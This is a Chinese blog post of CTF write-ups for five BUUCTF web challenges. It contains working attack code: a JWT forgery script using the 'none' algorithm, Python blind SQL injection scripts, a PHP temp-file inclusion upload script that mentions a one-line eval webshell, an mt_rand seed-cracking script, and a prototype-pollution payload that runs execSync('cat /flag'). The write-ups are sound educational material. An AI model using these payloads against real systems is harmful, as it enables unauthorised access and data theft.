Fork me on github

buuctf写题之旅2

[HFCTF2020]EasyLogin 1

涉及知识点:

1、js代码审计

2、jwt伪造

 

解题思路:

 

  进入靶场我们会看到一个登录框,观察到URL的login没有php后缀,初步推断应该是js框架,可能到后面如果有代码审计时,要找js文件。

有登录框,第一时间想到的是SQL注入,不过没有什么结果。

 

 

 

查看代码源,找了一个app.js文件。

 

 

 代码如下:

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

  审计后发现没有什么有用的配置,但是有个注释,提示是koa-static。没有遇见过,通过百度知道koa是一个web框架。

再去百度找一下koa框架的基本结构,查找后看到有用信息。

 

 

 

这里可以了解到/controllers/app.js这个文件是处理逻辑的,可以看一下。

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');         //注册不能以admin,结合上面说是,我们只能是伪造admin  }

if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});          //jwt令牌      

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {                                               //如果不是admin的话无法读取flag        
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

 

  审计上面的代码,我们知道我们要伪造admin登录。首先我们要知道登录时需要的一些条件,我们先随便注册一个账户,观察登录的过程。

首先随便注册一个账户,并抓包观察。

 

 

 

可以去  https://www.box3.cn/tools/jwt.html  解码:

 

 

 

我们用python去伪造一个我们需要的jwt到后面会用到:

(我的注释挺重要,好好看)

import jwt     #需要下载,pip3 install PyJWT
token = jwt.encode(
{
  "secretid": [],          #让"secretid"为空,他的加密算法就为空,所以那个加密就废了,也算是绕过jwt的一种方式
  "username": "admin",    #伪造对象
  "password": "123123",
  "iat": 1620692731      #对应自己解码出来的iat
},
algorithm = "none", key="")

print(token)

#运行结果:eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzEyMyIsImlhdCI6MTYyMDY5MjczMX0.

 

继续看一下登录的框:

 

 

登录后进去的界面(这里可以在浏览器里用自己随便注册的账户来进入),然后抓包:

 

 

 

[GYCTF2020]Ezsqli 1

 

 知识点:

1、SQL注入(盲注)

2、无列表注入

 

解题思路:

 

 

 

 

 

 用bp进行fuzz,检验被过滤了多少字符。

 

 

 

 发现or被过滤了,于是information_schema.tables等被过滤掉了。所以要无列表名注入。

对其进行测试:2 || 1=1 (试过1|| 1=1,和1 || 1=2,返回的值相同)

 

 

 

 

 

 写个脚本判断表名:

import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
    for i in range(32, 127):
        py = payload.format(j,i)
        post_data = {'id': py}
        re = requests.post(url, data=post_data)
        if 'Nu1L' in re.text:
            result += chr(i)
            print(result)
            break


#运行结果:users23333333333,f1ag_1s_h3r3_hhhhh

 

 实现无列表注入:

这里用到了ascii位偏移,关于ascii偏移的利用,可以看下面的例子
在这里插入图片描述
可以看到比较两个字符串的大小与字符串的长度是没有关系的,给定两个字符串,会各取两个字符串的首字符ascii码来比较,

不等式成立返回1,不等式不成立返回0,换一个角度来说,只会比较一次,也就是首字符
这道题我们利用的就是这个特性,我们首先会从构造一个ascii从32到128的循环,与flag字符一一对比,满足条件返回Nu1L,输出符合条件的ascii对应的字符,也就是找到了flag的第一个字符,以此类推,直到输出所有的flag

脚本:

import requests
url = 'http://357b4d71-82c5-41a0-b80d-53715e01e819.node3.buuoj.cn/'
def add(flag):
    res = ''
    res += flag
    return res
flag = ''
for i in range(1,200):
    for char in range(32, 127):
        hexchar = add(flag + chr(char))
        payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        #print(payload)
        data = {'id':payload}
        r = requests.post(url=url, data=data)
        text = r.text
        if 'Nu1L' in r.text:
            flag += chr(char-1)
            print(flag.lower)
            break

 

 

 [NPUCTF2020]ezinclude 1

 

 知识点:

 php临时文件包含

 

 解题思路:

 进到靶机看见提示:username/password error,再无其他信息。下意识查看代码源,发现注释:

 

 不知道要传什么参数,用什么方式传呀,用bp抓包和目录扫描,以便寻找更多的信息。在bp中发现hash值,并用

secret、name和pass分别尝试传递hash的值

 

 

可以发现用?pass=fa25e54758d5d5c1927781a6ede89f8a时页面会跳转到404.html

 

 

 用bp来来发送请求,并拦截,发现文件flflflflag.php

 

 访问后知道是可以用file传递参数进行文件包含。

 

 用伪协议分别读取index.php、flflflflag.php,得到一些感觉没有什么价值的东西。

php://filter/read=convert.base64-encode/resource=

看一下wp,发现这里考查的点是php临时文件包含。

这是PHP7.0版本存在的一个漏洞,使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,

那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell

playload:?file=php://filter/string.strip_tags/resource=/etc/passwd
脚本:
import requests
from io import BytesIO

payload = "<?php phpinfo()?>"      //或者一句话:<?php eval($_POST[cmd])?>
file_data = {
    'file': BytesIO(payload.encode())
}
url = "http://f826718b-3199-4ca9-b7fb-8f24231a301b.node3.buuoj.cn/flflflflag.php?"\
      +"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)

用脚本跑了一下后,去访问dir.php,这里有我们上次的文件名

 

 接着包含/tmp/phpZNhB5P(用bp访问),flag在phpinfo里面

http://f826718b-3199-4ca9-b7fb-8f24231a301b.node3.buuoj.cn/flflflflag.php?file=/tmp/phpdUwXoU

 

 本题参考:

https://www.cnblogs.com/tr1ple/p/11301743.html

 https://a16n.github.io/2020/11/06/NPUCTF2020-ezinclude/

 

 

[MRCTF2020]Ezaudit

知识点:

1、代码审计

2、伪随机数,mt_srand()

 

解题思路

 打开题目,没有查到什么提示,扫一下目录发现是源码泄露  /www.zip

 下载后有个index.php文件:

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

 

看见这里有个login.php文件,访问可以看到有个登录框,在代码审计中:

$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 

 

可以知道username是crispr,密码是不知道的,但是这个的password没有进行任何过滤 ,可以用万能密码来登录:

1' or '1' ='1

 

 最后就差找到Private_key,看下面的代码,发现像是在写密码学的题目一样。可以知道的是下面是一个加密与解密的过程,不过我没有接触过

查看wp后知道这个是关于mt_rand()函数的一个漏洞,这里有关于这个mt_rand的介绍:https://blog.csdn.net/weixin_34255793/article/details/92713300

看到mt_rand(),php伪随机数,伪随机数的话我们就可以得到它的种子,在代码的末尾给出了一段公钥,那么我们就可以根据这个公钥推算出种子,然后把私钥整出来。
先要把公钥转换成php_mt_seed可识别的参数:

str1 ='KVQP0LdJKRaV3n9D'
str2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
res =''
length = str(len(str2)-1)
for i in range(len(str1)):
    for j in range(len(str2)):
        if str1[i] ==  str2[j]:
            res += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
            break
print(res)
#结果为:36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61 

 

 

 

 

 然后用工具php_mt_seed来爆破种子,下载地址:Search · php_mt_seed-4.0 (github.com)

 

 

 

 爆破结果得到:1775196155  (看到别人用的工具是有标注有php的使用版本,而我这里却没有,可能我自己找的工具版本太落后吧)

 然后就可以再写一个解码的脚本了,脚本对应的php版本是要PHP 5.2.1 to 7.0.x,我这里是用5.3.27

<?php
highlight_file(__FILE__);
mt_srand(1775196155);
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < 16; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
echo $public_key. "<br>";

$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < 12; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
echo "private_key:";
echo $private_key;
?>

 

 

 

 

 用密钥登录login.php

 

 

 

 本题参考:

https://blog.csdn.net/weixin_34255793/article/details/92713300

https://www.cnblogs.com/zaqzzz/p/9997855.html

https://blog.csdn.net/Youth____/article/details/113618623

 

 

[GYCTF2020]Ez_Express

 

知识点:

1、js原型链(新学知识)

2、ssti注入

3、toUpperCase()绕过

 

初学原型链:

在 Javascript,每一个实例对象都有一个prototype属性,prototype 属性可以向对象添加属性和方法。
在 Javascript,每一个实例对象都有一个__proto__属性,这个实例属性 指向对象的原型对象(即原型)。

可以通过以下方式访问得到某一实例对象的原型对象:

objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

 

function Test(){         //创建一个构造函数
    this.age = "age"
}

test1 = new Test()      //将这个构造函数实体化,每个实例对象都有一个私有属性__proto__指向它的构造函数的原型prototype

console.log(test1.__proto__ == Test.prototype)  //结果是true
//下面说明原型链的污染

test2 = new Test()      //再实体化
console.log(test1.b)   //结果为undefined,所以test.b是没有值的
test2.__proto__.b = "aaa"
console.log(test2.__proto__.b)   //这个结果是aaa没什么好说
console.log(test1.b)    //这个结果也是aaa,证明被污染

//实际上JavaScript引擎会进行如下操作: // 1.在对象test1中寻找b // 2.找不到,在test1.__proto__中寻找b(这里的test1.__proto__同样指向Test的原型prototype) // 3.如果仍然找不到,则继续在test1.__proto__.__proto__中寻找b // 4.依次寻找,直到找到null结束。比如,Object.prototype的__proto__就是null

 

 

 

 

原型链污染原理分析:

如果一个对象的键名和值我们是可控的,那么我们就可以对其进行污染

obj[a][b] = value
obj[a][b][c] = value

 

其中merge() 和 clone() 这两个函数是常见引发原型链污染的。

先来看一下merge()函数的构造:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

 

 如果用merge将两个对象合并为一个对象时,直接进行只能是达到合并的目的,没有达到污染的目的,因为,我们用JavaScript创建o2的过程(let obj2 = {a: 1, “proto”: {b: 2}})中,

__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__并不是一个key,自然也不会修改Object的原型。

 

 

 正确的污染方式是将对象转化为一组JSON数据,因为JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历obj4的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题

 

 

 

 解题过程

 打开靶机:

 

 

 

 

 

 得到的信息是要用大写的ADMIN登录。

试着去注册,和用其他用户名登录,通常也会找到一些有用的信息,注册后在代码源那里发现有个www.zip的文件提示,先下载

 

 

 

 

下载后找到app.js和index.js这两个比较有用的文件,先来审计找到解决如果用ADMIN来登录的问题。找到这个函数:

 

 

 怎么来绕过这个正则呢,可以看到这里是用了toUpperCase()函数,这个函数存在着一个漏洞,可以用特殊字符“ı"、"ſ"代替“i”和“s”

 

 

 所以我们用ADMıN登录就可以了。

 

 在index.js中找到认为是要用到原型链的代码:

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
} 
const clone = (a) => {
  return merge({}, a);
}

 

再找一下clone()在哪里被调用的,发现是在登录后的“/action”下才调用的,用上面的方法登录

 

 

 

 

 

 然后再找一下污染的点在哪

 

 在这两行代码中可以看到在/info下,使用将outputFunctionName渲染入index中,而outputFunctionName是未定义的,这里就可以用上了

我们上面学习的原型链污染,加上这里用到了render()函数,说明可以利用ssti来命令执行。

先用burpsuite抓一下/action的包,然后将Content-Type的数据改为application/json,然后写入playload:

{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

 

 

然后访问  /info,下载info文件

 

 

 

 

 

 

 

 

 

 

--------------------------------------------------------------------------------------持续更新------------------------------------------------------------------------------------------------------------------------------------

posted @ 2021-05-11 09:50  北孤清茶。  阅读(401)  评论(0编辑  收藏  举报